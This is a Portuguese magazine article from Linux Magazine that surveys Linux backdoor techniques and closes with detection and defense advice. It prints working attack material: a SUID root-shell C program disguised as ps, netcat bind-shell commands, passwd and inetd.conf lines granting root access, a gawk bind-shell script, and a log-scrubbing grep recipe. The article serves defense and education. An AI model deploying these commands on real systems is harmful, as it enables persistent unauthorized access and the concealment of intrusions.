Passagem secreta

Transcrição

Passagem secreta
Técnicas de criação de backdoors
CAPA
Passagem secreta
As backdoors oferecem aos invasores acesso irrestrito a um sistema zumbi. Para impedir que
esse tipo de ameaça se instale, leia esta análise das ferramentas usadas pelos criminosos.
por Amir Alsbih
A
pós efetuar um ataque com sucesso,
um cracker não vai simplesmente
relaxar e ver o que acontece. Explorar
uma vulnerabilidade e obter acesso de root
é apenas metade da história. Geralmente o
invasor prefere continuar explorando a máquina, desferindo ataques a partir dela. Para
facilitar, ele normalmente tenta manipulála após obter acesso inicial. O processo de
invasão inclui cinco fases:
➧ O agressor explora uma falha de segurança local ou de rede para obter o
controle do computador da vítima;
➧ Depois aumenta seus privilégios
para ganhar status de administrador. Isso é necessário para que ele
consiga apagar arquivos de registro
ou instalar rootkits [1];
➧ Em seguida apaga todos os vestígios
de seu ataque manipulando arquivos de registro, ou wtmp e utmp, e
limpando o arquivo de histórico;
➧ Então instala rootkits que ajudam
a manter o ataque oculto. Graças
ao rootkit, os administradores da
máquina comprometida perdem a
capacidade de visualizar os processos,
conexões e arquivos do invasor;
➧ Enfim, o último passo é instalar uma
backdoor para facilitar o acesso. Ela
mantém a máquina firmemente sob
o domínio do agressor, mesmo que
a brecha de segurança que permitiu
o ataque já tenha sido corrigida.
As primeiras etapas desse ataque
receberam atenção considerável, mas
costuma ser difícil encontrar informações sobre a fase final (e crucial) da
backdoor. O que significa um invasor
instalar uma backdoor? Este artigo
34
examina técnicas para se construir
uma porta de entrada para um sistema comprometido.
Processo
Após limpar o log e implementar utilitários de um rootkit com fins de ocultação,
o agressor já pode prosseguir para o último
passo: instalar uma backdoor. A backdoor
mais fácil e simples é a brecha de segurança já explorada pelo invasor para ganhar
acesso ao computador. Se a máquina receber atualizações apenas esporadicamente
– o que é o caso de muitos computadores
domésticos ou escolares – essa abordagem
pode ser extremamente eficiente, pois reduz bastante os vestígios.
A principal desvantagem dessa abordagem é o risco de se perder acesso à máquina caso a vítima resolva instalar uma
atualização. Outro problema reside no
fato de que a falha de segurança original
normalmente não dará ao cracker acesso
ao terminal. Vários criminosos profissionais
preferem fechar as brechas de segurança
que utilizaram na invasão inicial, apenas
para evitar que um script kiddie entre pelo
mesmo caminho e levante suspeitas.
Devido a essa necessidade de uma forma melhor de invasão, diversos crackers
instalam programas especiais de backdoor.
Há duas categorias de backdoors:
➧ Locais: Se um usuário já possuir
uma conta no sistema (como é o
caso em ataques “de dentro”), não
será necessária uma backdoor para
abrir uma porta. Em vez disso, o
usuário pode simplesmente entrar
no sistema localmente e se concen-
trar em obter mais privilégios. Isso
é chamado de backdoor local.
➧ Remotas: Se o cracker não possuir
uma senha legítima na máquina, a
backdoor terá que oferecer acesso
na forma de uma shell remota. O
cracker precisará desta, com privilégios de root para evitar o uso
repetitivo de um exploit do kernel
ou outra técnica de ganho de privilégios a cada visita.
Os mecanismos de segurança e sistemas de proteção continuaram ao longo
dos anos, e as ferramentas de detecção
de invasões e sistemas de prevenção estão
presentes por padrão atualmente. Para
acompanhar o ritmo, as backdoors tornaram-se mais sofisticadas. Muitas técnicas
antigas de backdoor parecem ingênuas
hoje em dia; contudo, é importante lembrar que a segurança não era levada tão a
sério há poucos anos. Sob essas circunstâncias, técnicas simples costumavam ser
mais eficientes, especialmente devido ao
fato de que os invasores podiam confiar
na atitude relaxada dos administradores
quanto à segurança.
Backdoors locais
Uma backdoor local requer que o agressor
possua acesso legítimo ao sistema. Nos
últimos anos houve poucas mudanças
nas técnicas mais antigas. Uma backdoor
local pode consistir em um script ou
um programa em C que dá ao invasor o
controle sobre uma shell com privilégios
de root. Para isso, o script ou programa
especifica a flag SUID. Geralmente, o
programa é assim:
http://www.linuxmagazine.com.br
Backdoor | CAPA
int main() {
setuid(0);
setgid(0);
execl(“/bin/sh”, “ps”, “-i”, NULL);
return 0;
}
Obviamente o invasor precisará limpar o
wtmp e o utmp, assim como os arquivos
de registro, para eliminar os vestígios.
Netcat
O comando setuid(0) especifica a ID de
usuário em 0 (root), enquanto o setgid(0)
muda o grupo de acordo com o usuário. Em
seguida, o programa abre uma shell que se
mostra como o processo ps na lista de processos. Os invasores normalmente ocultam
esses scripts nas profundezas do sistema de
arquivos, executando-os toda vez que desejam rodar uma shell de root.
Outras backdoors locais costumam usar
a forma de binários modificados. Como o
Código Aberto está sempre disponível, é
fácil crackers modificarem os programas
e depois usarem-nos em substituição aos
programas originais. Mais uma vez, isso
só vale a pena se o comando for executado com privilégios de root.
A backdoor eject é um exemplo de backdoor binária. Digitar eject -t abre ou fecha
uma unidade de CD. Uma versão modificada do eject verifica se uma determinada
variável de ambiente está especificada, e
também se o conteúdo da variável está de
acordo com a senha especificada no eject.
Se o resultado for positivo, a ferramenta eject
manipulada presenteará com uma shell
de root o usuário que a executou. Como o
parâmetro -t fecha a unidade de CD, um
usuário na vizinhança da máquina alvo não
perceberá o ataque.
O utilitário Netcat também é uma backdoor
popular. Ele tem a capacidade, por exemplo,
de clonar discos rígidos. Para isso, o cracker
digita o comando dd if=/dev/hda | netcat
IPdestino_porta na origem e depois entra netcat -l -p porta > /dev/sda no sistema alvo,
criando assim uma cópia idêntica do disco
rígido de origem, incluindo quaisquer dados
confidenciais nele armazenados.
Entretanto, a abordagem típica para
usar o Netcat como backdoor é ordenar
ao programa que redirecione sua saída
para uma shell. Se uma conexão for estabelecida com o sistema alvo, a entrada
será passada diretamente à shell. O invasor
precisa apenas digitar netcat -l -p 1234
-e /bin/bash na máquina alvo, e netcat
IPdestino 1234 na máquina invasora.
Roubando senhas
Backdoor do inetd
A backdoor simplista envolve adicionar
um usuário com privilégios de root a /
etc/passwd ou /etc/shadow. O melhor local para inserir um novo usuário é em
algum ponto no meio do arquivo, pois os
administradores geralmente não os lêem
com muita atenção. O arquivo passwd
deve ficar assim após a adição:
...
hacker_do_mal:x:0:0:Conta do hacker do
➥mal:/root:/bin/bash
...
Acrescentar uma conta de usuário significa que o agressor não necessita de um
serviço específico; em vez disso, ele pode
autenticar-se remota e localmente.
Usando um serviço como SSH, o invasor pode tirar proveito do fato de que
a sessão é impossível de analisar, mesmo com ferramentas como o tcpdump,
pois ela usa uma conexão criptografada.
Linux Magazine #29 | Abril de 2007
Mau uso do Awk
Poucos usuários compreendem o potencial destrutivo da clássica ferramenta Awk.
Grugq demonstrou o Awk como backdoor
durante a Blackhat Conference, em 2005.
O ataque vincula o Awk a uma porta
definida (exemplo 1). O invasor, então,
pode digitar netcat endereçodestino 8080
para se conectar ao sistema alvo e receber uma simples shell.
O superservidor inetd também permite que
agressores implementem backdoors simples.
A técnica é bem simples: o agressor define
um novo serviço acrescentando uma linha
em /etc/inetd.conf. Pode-se usar a porta
79, na qual normalmente quem escuta é
o daemon do finger. A entrada para instalar
um serviço de backdoor com uma shell de
root interativa é semelhante a: finger stream
tcp nowait root /bin/sh sh -i.
Como a porta 79 pertence a um serviço
padrão, o invasor pode simplesmente usar
a palavra-chave finger. O inetd verifica o
arquivo /etc/services, busca se a porta apropriada está liberada e, caso esteja, começa a
escutar nessa porta. Se o cracker utilizasse
uma porta desconhecida, sem uma entrada respectiva em /etc/services, em vez do
finger, seria necessário acrescentar uma entrada relativa ao serviço em /etc/services.
Depois disso, o cracker poderia rodar netcat
contra a porta do finger na máquina alvo,
e assim obter uma shell de root.
Backdoor do PAM
Os Pluggable Authentication Modules
(PAM) oferecem interfaces de programação para serviços de autenticação.
A maioria das aplicações utiliza essa biblioteca atualmente, o que a torna um
alvo particularmente interessante para
atacantes enxertarem uma backdoor.
Uma forma de comprometer o PAM é
manipular o arquivo support.c no códigofonte do PAM para incluir uma senha secreta padrão. Depois, o módulo verifica se a
senha passada está de acordo com a secreta
e, se sim, autentica o invasor com sucesso.
Se não, o método normal de autenticação
é utilizado. Isso significa que cada um dos
usuários no sistema (incluindo o root) possui duas senhas: uma armazenada em /etc/
shadow e uma senha esqueleto guardada na
biblioteca PAM manipulada.
Loki 2
O Loki 2 [3] foi publicado na Phrack Magazine como uma prova de conceito de
túnel de backdoor. A ferramenta disfarça
comandos shell escondendo-os em pacotes
ICMP echo, ICMP echo reply e requisições
e respostas de buscas de nomes DNS. Um
capturador de pacotes de rede como o
tcpdump será incapaz de detectar qualquer
tráfego suspeito num primeiro momento,
pois o ataque não depende de portas que
deveriam estar fechadas. Entretanto, analisando com mais atenção, o tráfego ICMP
ou DNS incomum é um sinal.
O Loki baseia-se em uma arquitetura
cliente-servidor, e suporta criptografia por
algoritmos como Blowfish e Xor. Isso dificulta bastante a reconstituição de uma
sessão. Em aplicações práticas, as respostas
a ICMP echo fazem mais sentido do que
as requisições ICMP, pois vários firewalls
bloqueiam pedidos que chegam, enquanto
permitem que as respostas o atravessem
Figura 1
O phpRemoteShell oferece acesso oculto a
agressores com qualquer navegador web. O
invasor precisa apenas inserir um arquivo em um
diretório adequado.
35
CAPA | Backdoor
– afinal, não faz sentido bloquear as respostas aos pings feitos por seus usuários.
Backdoors pela Web
Os invasores desenvolveram backdoors acessíveis pela Web com o objetivo de atravessar
firewalls cuidadosamente criados. A lógica
básica por trás disso é que o servidor web
sempre precisa permitir o acesso a partir
da Web, ou seja, sempre haverá uma porta
aberta a ser explorada pelo criminoso.
Isso levou ao desenvolvimento de backdoors para CGI e PHP. Ambas funcionam sobre
os mesmos princípios, e oferecem ao agressor
o acesso através do navegador. Uma grande
vantagem de backdoors web é que o acesso ao
servidor pode ser tunelado através de serviços
de anonimato, como o Tor e o JAP.
O phpRemoteShell [4] é um exemplo
desse tipo de backdoor. O invasor apenas
oculta o arquivo PHP em algum local das
profundezas do sistema de arquivos, atribuindo a ele as permissões adequadas. Nada
mais é necessário para obter o acesso através
de qualquer navegador (figura 1).
A shell oculta expõe informações do
sistema e executa comandos arbitrários na
máquina alvo. Ao mesmo tempo, inclui um
navegador de diretórios que suporta o upload
e o download de arquivos (figura 2).
Alguns backdoors web estabelecem uma
conexão com um servidor web mestre e
aceitam comandos embutidos no código
HTML. A vantagem é que a conexão é
iniciada de dentro do perímetro da rede,
o que muitas vezes auxilia o invasor a contornar o firewall. O fato de os comandos
estarem escondidos no código HTML é
outra grande vantagem, pois dificulta a detecção do código larápio por especialistas
forenses. O túnel WWW reverso [5] é um
exemplo desse tipo de backdoor.
Figura 2
36
Backdoors web como o phpRemoteShell oferecem
recursos convenientes de download e upload de
arquivos de qualquer tipo.
Quadro 1: Limpeza de registros
Eliminar vestígios é um dos primeiros passos do invasor experiente. O grep é a forma mais fácil para fazer isso. A opção -v suprime linhas que coincidam com uma
dada expressão regular. Por exemplo, se quisermos apagar do log todas as linhas
que contenham o endereço IP 192.168.100.12, usaremos os seguintes passos:
cat arquivo_de_log |grep -v “192.168.100.102” >> arquivo_de_log.mod
mv arquivo_de_log.mod arquivo_de_log
É claro que esse método não é realmente seguro. Seria bem fácil recuperar as entradas originais com uma ferramenta forense. Infelizmente, basta essa abordagem simples para enganar a maioria dos administradores. Um cracker mais obstinado
usaria o wipe no arquivo de log original para apagá-lo, em vez de apenas sobrescrevê-lo. Um limpador de logs como o do Darklab.org1 também pode ser útil.
Bindshell
Todos os tipos de backdoors examinados
até agora possuem uma grande desvantagem: não oferecem suporte ao terminal.
São todos orientados à linha de comandos,
o que explica por que não se consegue
rodar programas orientados a caracteres,
tais como o vi.
Uma backdoor sem essa desvantagem, e
com suporte ao terminal, é o bindtty [6], do
cracker sd. Existe uma ferramenta baseada
na arquitetura cliente-servidor, na qual o
componente servidor abre uma porta fixa no
sistema alvo (4000, por padrão). Sempre que
um cliente se conectar à porta, receberá uma
shell com suporte a pseudo-terminais.
Isso oferece ao invasor acesso irrestrito ao sistema remoto – uma grande
vantagem em comparação com os tipos
mais antigos de backdoor. Ao mesmo
tempo, a backdoor permite que múltiplos invasores entrem no sistema
simultaneamente, uma possibilidade
que as backdoors baseadas no netcat
ou no gawk não oferecem.
Backdoors de
captura de pacotes
Uma técnica de backdoors relativamente recente é baseada na captura de pacotes.
Essas backdoors capturam todo o tráfego
em uma interface de rede e respondem a
pacotes especialmente criados. O Silentdoor [7] é uma implementação de backdoor
de captura de pacotes que usa a funcionalidade de captura provida pela libpcap. A
backdoor captura os pacotes destinados à
porta UDP 53. Para garantir que a backdoor reaja apenas aos pacotes destinados
a ela, o Silentdoor possui uma abordagem
de quatro etapas:
➧ Procura os requisitos de uma chave
de backdoor;
➧ Descriptografa o conteúdo do pacote
(com Xor);
➧ Verifica se os dados decifrados realmente contêm um comando para
o Silentdoor;
➧ Executa o comando.
Mais uma vez, essa backdoor não oferece ao invasor o suporte ao terminal. A
maior força do Silentdoor é o fato de que
fica bem escondido e somente utiliza uma
porta enquanto a conexão existir.
É possível encontrar backdoors de captura de pacotes buscando conexões SSL,
pacotes com componentes criptográficos e
conexões com portas desconhecidas.
Safebreaker
O Safebreaker [8] pertence à próxima geração de backdoors de captura de pacotes.
A motivação para seu desenvolvimento foi
criar uma backdoor que não dependesse
da libpcap do tcpdump [9], que possui
muitos problemas de estabilidade e está
ausente em diversos sistemas.
Ao mesmo tempo, os desenvolvedores
queriam que o Safebreaker usasse uma combinação de técnicas contemporâneas e demonstrasse os riscos potenciais que emanam
de uma nova geração de backdoors.
Outro importante objetivo é o de substituir a fraca criptografia por Xor por um
método mais robusto. Os desenvolvedores
do Safebreaker consideraram três bibliotecas
para essa tarefa: OpenSSL[10], GnuTLS
[11] e Cryptlib [12], optando, ao final, pela
GnuTLS, devido à excelente documentação, seus recursos e à facilidade de integração com softwares já existentes.
Apenas algumas linhas de código são
necessárias para modificar as funções já
existentes de recepção e envio de pacotes, além de fornecer à backdoor uma
conexão criptografada.
Basicamente, o Safebreaker funciona
da seguinte maneira:
➧ Para cada pacote que chega, verifica
se é um pacote TCP. Caso não seja,
não pode conter uma mensagem para
http://www.linuxmagazine.com.br
Backdoor | CAPA
Tabela 1: Ferramentas de backdoor
Nome
Descrição
Origem
Kaiten
Uma backdoor para IRC. Ela se liga à porta 6667 de um servidor IRC, e
espera comandos em um canal. Entre outras coisas, a backdoor suporta vários ataques de sobrecarga, e pode executar comandos arbitrários.
http://packetstorm.linuxsecurity.com/irc/kaiten.c
Netcat
Devido à sua capacidade de passar sua entrada e saída para outros programas, o Netcat é usado com freqüência como backdoor por script kiddies.
http://netcat.sourceforge.net
phpRemoteShell
O phpRemoteShell é uma backdoor web; invasores podem simplesmente jogá-la em um diretório com suporte a PHP. A shell remota dá ao agressor acesso a uma shell, e suporta a navegação
em diretórios, assim como upload e download de arquivos.
http://phpremoteshell.labs.libre-entreprise.org/
Backdoor de túnel
WWW reverso
Uma backdoor para contornar diversos firewalls. Ela se conecta a um servidor web mestre, e aceita comandos embutidos no código de páginas web.
http://packetstormsecurity.org/
groups/thc/rwwwshell-2.0.pl.gz
Bindtty
Uma backdoor com suporte a terminal. O Bindtty escuta na porta
4000, por padrão.
http://www.2701.org/archive/200311240000.html
Silentdoor
O Silentdoor é uma backdoor de última geração. Ele não escuta em uma porta específica, mas usa a libpcap para capturar o tráfego da rede. Quando detecta um pacote especialmente criado, o Silentdoor pode fornecer uma shell, por exemplo.
http://cmn.listprojects.darklab.
org/SAdoor-20031217.tgz
Safebreaker
Uma backdoor de nova geração que utiliza RAW sockets em C para
capturar o tráfego da rede, e fornece um terminal ou se conecta de volta caso detecte um pacote especialmente criado. Para ofuscar o conteúdo da sessão, usa o gnutls na criptografia do tráfego.
http://www.informatik.uni-freiburg.de/~alsbiha/code.htm
Loki
Uma backdoor que usa pacotes ICMP para tunelar comandos.
Os pacotes podem ser criptografados por Blowfish ou XOR.
http://packetstorm.linuxsecurity.com
Arquivos SUID
Arquivos SUID podem ser substituídos por binários com cavalos
de tróia embutidos. O invasor pode obter privilégios de root usando um parâmetro ou especificando uma variável de ambiente.
Backdoor do PAM
Como os Pluggable Authentication Modules são a interface padrão para autenticação no Linux, uma senha padrão pode ser
embutida em support.c para suportar a autenticação baseada em qualquer servidor que use o software PAM manipulado.
@/etc/passwd@,
/etc/shadow e
/etc/inetd.conf
Os invasores normalmente acrescentam nesses arquivos novos usuários com privilégios de root, ou serviços que permitam que agressores se autentiquem.
a backdoor, e então ela prossegue à
análise do próximo pacote;
➧ Para cada pacote TCP, compara a porta
alvo a um valor fixo. Apenas pacotes
com um número de porta específico
são endereçados à backdoor, e todos os
outros podem ser ignorados. A backdoor
não bloqueia ou abre a porta. A avaliação da porta alvo serve simplesmente
para restringir ainda mais o número
de pacotes possivelmente destinados à
backdoor. Isso não tem qualquer efeito
sobre o serviço que estiver usando a
porta no momento;
➧ O próximo passo é verificar se os
campos SYN e ACK estão assinalados conforme esperado;
➧ Se sim, o próximo passo é verificar
se a ID do pacote coincide com a
ID mágica da backdoor;
➧ Na última etapa, podemos ter uma
certeza razoável de que o pacote
contém instruções destinadas à
Linux Magazine #29 | Abril de 2007
backdoor. Nesse caso, o número
da seqüência do pacote é avaliado. Certos números de seqüência
representam comandos específicos.
O Safebreaker pode realizar duas
tarefas distintas: tanto ligar-se a um
pseudo-terminal na porta especificada pelo pacote, repassando o
controle ao remetente, quanto conectar-se de volta ao cliente, novamente usando a porta especificada
no pacote. Essa técnica contorna a
maioria das regras de firewall, pois
elas freqüentemente permitem qualquer conexão de saída que tenha
sido iniciada na rede interna.
Essa técnica apenas bloqueia uma porta se existir uma conexão entre o invasor
e a backdoor, ou seja, quando o cracker
estiver registrado no sistema – o netstat
não mostra a conexão em nenhuma outra
circunstância. Outra vantagem é que a
backdoor não é acessível para usuários
arbitrários; para acessá-la, são necessários
os valores corretos de porta, número de
seqüência e ID.
Encontrando
backdoors
É sempre bom usar um verificador de
integridade do sistema de arquivos como
o Tripwire [13]. Ele monitora arquivos
e diretórios críticos do sistema através
de somas, comparando-as periodicamente com seus valores históricos. Se
o Tripwire detectar uma alteração, ele
notifica o administrador. Isso também
oferece aos administradores a capacidade
de reconstruir quais arquivos sofreram
alterações, foram apagados ou criados
durante um ataque.
Isso não cobre cenários nos quais o invasor apaga o binário após iniciar a backdoor.
A ferramenta está na memória, mas não
37
CAPA | Backdoor
Exemplo 1: Backdoor do Awk
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/gawk -f
BEGIN {
Port = 8080 # Porta para escutar
Prompt = “bkd> “ # Prompt a ser mostrado
# Abrir uma porta para escutar
Service = “/inet/tcp/” Port “/0/0”
while (1) {
do {
# Mostrar o prompt
printf Prompt |& Service
# Ler o comando
Service |& getline cmd
if (cmd) {
while ((cmd |& getline) > 0)
# Executar o comando,
# retornar a resposta
print $0 |& Service
close(cmd)
}
} while (cmd != “exit”)
close(Service)
}
no disco. Apesar de um reinício eliminar a
backdoor, o Tripwire e ferramentas similares
não conseguem detectar o ataque.
Também é interessante verificar os
arquivos /etc/shadow, /etc/passwd e /etc/
inetd.conf em intervalos regulares. Pode-se
fazer isso simplesmente comparando-os
através de cópia numa mídia protegida
contra gravação usando diff.
Se seu servidor SSH suportar o login
por chave, verifique o arquivo authorized_keys em busca de entradas indevidas.
Nesse caso, o invasor nem precisaria de
uma senha para se autenticar. Para os
grandes arquivos, o diff [14] novamente
é uma boa escolha.
Outra medida de proteção é procurar
regularmente arquivos SUID que possam
ser explorados como backdoors. A forma
mais fácil para isso é com o comando:
find / -type f -perm -04000 -ls -uid 0 2>/
➥dev/null
Como uma backdoor independente
também é um processo independente, a ID e o nome do processo aparecerão na lista de processos, a menos
que tenham sido ocultados por um
rootkit como o Override15. É por isso
que a maioria das backdoors se esconde atrás de nomes pouco chamativos,
como ps. É fácil sobrescrever o nome
do programa sobrescrevendo argv [0].
Por outro lado, esse tipo de camuflagem é bem trivial. Apenas verifique o
tempo de execução do processo, e se
você vir um ps em execução há mais
de 12 horas, pode concluir que ele é
um processo larápio.
38
Também é importante atentar ao fato de
que backdoors simples escutam conexões de
entrada em uma porta fixa. Essa porta será
mostrada na saída do netstat. Entretanto,
como rootkits como o Override são capazes
de ocultar portas, jamais se deve sentir seguro
demais: o comando netstat -an |grep LISTEN
|grep -v LISTENING mostra uma lista de portas
abertas. Varredores de portas (portscanners)
oferecem uma abordagem mais confiável
para investigar as portas.
Rastrear backdoors novíssimas de captura
de pacotes é uma tarefa mais difícil. O netstat somente mostra uma conexão quando
um cliente entra na máquina, e uma porta
não pode ser aberta nesse caso. Em outras
palavras, o netstat não pode ajudar nesse
ponto, principalmente se alguma conexão
de rede já estiver estabelecida com a rede
interna. Nesse caso, um varredor de portas
também seria incapaz de ajudar.
A única abordagem nesse cenário é usar
um capturador de redes como o tcpdump
ou o Wireshark [16] (antigo Ethereal).
Como backdoors de captura de pacotes
usam um procedimento fixo para verificar
se um pacote é destinado à backdoor, só
se pode detectá-los verificando padrões
recorrentes no tráfego de rede.
Afinal, é improvável que uma porta use
um número de seqüência e uma ID idênticos o tempo todo. Se você definir regras
que verificam isso, será bem fácil detectar
anomalias no tráfego de rede. Sistemas de
IPS (prevenção de intrusão) e IDS (detecção de intrusão) também podem ajudar
a evitar backdoors conhecidas.
Defesa
Não existe uma solução única para todas
as backdoors. Se um agressor conseguiu
instalar uma backdoor em seu sistema,
a segurança provavelmente já possuía
algumas brechas. Uma boa backdoor
sempre requer privilégios de root.
Uma vez que um intruso obtenha status
de root, pode-se supor que o sistema não esteja
mais saudável. O mais importante a ser lembrado em relação à proteção contra backdoors
é a necessidade de uma política de segurança
robusta, além da urgência de se aplicar patches de segurança regularmente.
Regras de firewall comprovadamente
seguras também podem contribuir para a
segurança do sistema. Suas regras devem
seguir a máxima de negar tudo que não seja
explicitamente permitido. As regras de firewall
que permitam qualquer tipo de tráfego da
rede interna para o mundo externo são um
convite aos crackers que usam métodos de
conexão de volta (connect back).
Por último, é interessante usar proxies
e balanceamento de carga. Se você configurar o firewall para se comunicar apenas
com os proxies e balanceadores de carga,
os crackers passarão por maus bocados para
descobrir um vetor de ataque. Agressores
ainda conseguirão injetar uma backdoor
web; porém, ela não terá privilégios de root
ou suporte a terminal, e normalmente não
será muito divertida para o invasor. O que
quer que você faça, certifique-se de eliminar
todas as opções ou serviços desnecessários
para sua configuração. ■
Mais Informações
[1] Rootkit: Arma secreta. Linux Magazine
22, pg. 28. Agosto de 2006.
[2] Logfile cleaner:
http://darklab.org/~jot/
logclean-ng/logcleaner-ng.html
[3] Loki 2: http://artofhacking.
com/files/phrack/phrack51/
live/aoh_p51-06.htm
[4] Phpremoteshell, por Emmanuel
Saracco:
http://labs.libre-entreprise.org
[5] rwwwshell, por Van Hauser:
http://gray-world.net/
papers/rwwwshell.txt
[6] Bindtty: http://www.2701.org/
archive/200311240000.html
[7] Silentdoor, por Brandon Edwards:
http://www.megasecurity.
org/trojans/s/silentdoor/
Silentdoor.html
[8] Safebreaker, por Amir Alsbih:
http://www.informatik.unifreiburg.de/~alsbiha
[9] TCPDump: http://www.tcpdump.org/
[10] OpenSSL: http://www.openssl.org
[11] GnuTLS:
http://www.gnu.org/software/gnutls/
[12] Cryptlib, por Peter Gutmann:
http://www.cs.auckland.
ac.nz/~pgut001/cryptlib/
[13] Tripwire: http://sourceforge.
net/projects/tripwire/
[14] Diffutils:
http://www.gnu.org/software/
diffutils/diffutils.html
[15] Rootkit Override:
http://www.informatik.unifreiburg.de/~alsbiha
[16] Wireshark:
http://www.wireshark.org
http://www.linuxmagazine.com.br

Documentos relacionados

Manutenção

Manutenção conhecidos. Um simples editor hexadecimal pode alterar detalhes do vírus e torná-lo, novamente, indetectado por um tempo. Até que as empresas que ganham dinheiro com esse tipo de pânico corram para...

Leia mais